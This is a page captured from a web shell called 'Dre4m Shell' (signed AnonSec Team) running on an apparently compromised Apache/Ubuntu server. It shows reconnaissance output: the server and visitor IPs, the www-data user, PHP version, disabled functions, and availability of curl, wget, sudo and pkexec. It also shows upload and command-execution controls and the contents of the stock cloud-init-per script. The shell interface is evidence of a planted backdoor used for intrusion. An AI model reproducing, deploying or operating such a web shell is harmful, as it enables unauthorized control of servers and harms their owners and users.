Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.147.75.131
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/bin/cloud-init-per
#!/bin/sh
# This file is part of cloud-init. See LICENSE file for license information.

DATA_PRE="/var/lib/cloud/sem/bootper"
INST_PRE="/var/lib/cloud/instance/sem/bootper"

Usage() {
   cat <<EOF
Usage: ${0##*/} frequency name cmd [ arg1 [ arg2 [ ... ] ]
   run cmd with arguments provided.

   This utility can make it easier to use boothooks or bootcmd
   on a per "once" or "always" basis.

   If frequency is:
      * once: run only once (do not re-run for new instance-id)
      * instance: run only the first boot for a given instance-id
      * always: run every boot

EOF
}
error() { echo "$@" 1>&2; }
fail() { [ $# -eq 0 ] || error "$@"; exit 1; }

# support the old 'cloud-init-run-module freq name "execute" cmd arg1'
# if < 3 arguments, it will fail below on usage.
if [ "${0##*/}" = "cloud-init-run-module" ]; then
   if [ $# -le 2 -o "$3" = "execute" ]; then
      error "Warning: ${0##*/} is deprecated. Please use cloud-init-per."
      freq=$1; name=$2; 
      [ $# -le 2 ] || shift 3;
      set -- "$freq" "$name" "$@"
   else
      fail "legacy cloud-init-run-module only supported with module 'execute'"
   fi
fi

[ "$1" = "-h" -o "$1" = "--help" ] && { Usage ; exit 0; }
[ $# -ge 3 ] || { Usage 1>&2; exit 1; }
freq=$1
name=$(echo $2 | sed 's/-/_/g')
shift 2;

[ "${name#*/}" = "${name}" ] || fail "name cannot contain a /"
[ "$(id -u)" = "0" ] || fail "must be root"

case "$freq" in
   once|always) sem="${DATA_PRE}.$name.$freq";;
   instance) sem="${INST_PRE}.$name.$freq";;
   *) Usage 1>&2; fail "invalid frequency: $freq";;
esac

[ -d "${sem%/*}" ] || mkdir -p "${sem%/*}" ||
   fail "failed to make directory for ${sem}"

# Rename legacy sem files with dashes in their names. Do not overwrite existing
# sem files to prevent clobbering those which may have been created from calls
# outside of cloud-init.
sem_legacy=$(echo $sem | sed 's/_/-/g')
[ "$sem" != "$sem_legacy" -a -e "$sem_legacy" ] && mv -n "$sem_legacy" "$sem"

[ "$freq" != "always" -a -e "$sem" ] && exit 0
"$@"
ret=$?
printf "%s\t%s\n" "$ret" "$(date +%s)" > "$sem" ||
   fail "failed to write to $sem"
exit $ret

Anon7 - 2022
AnonSec Team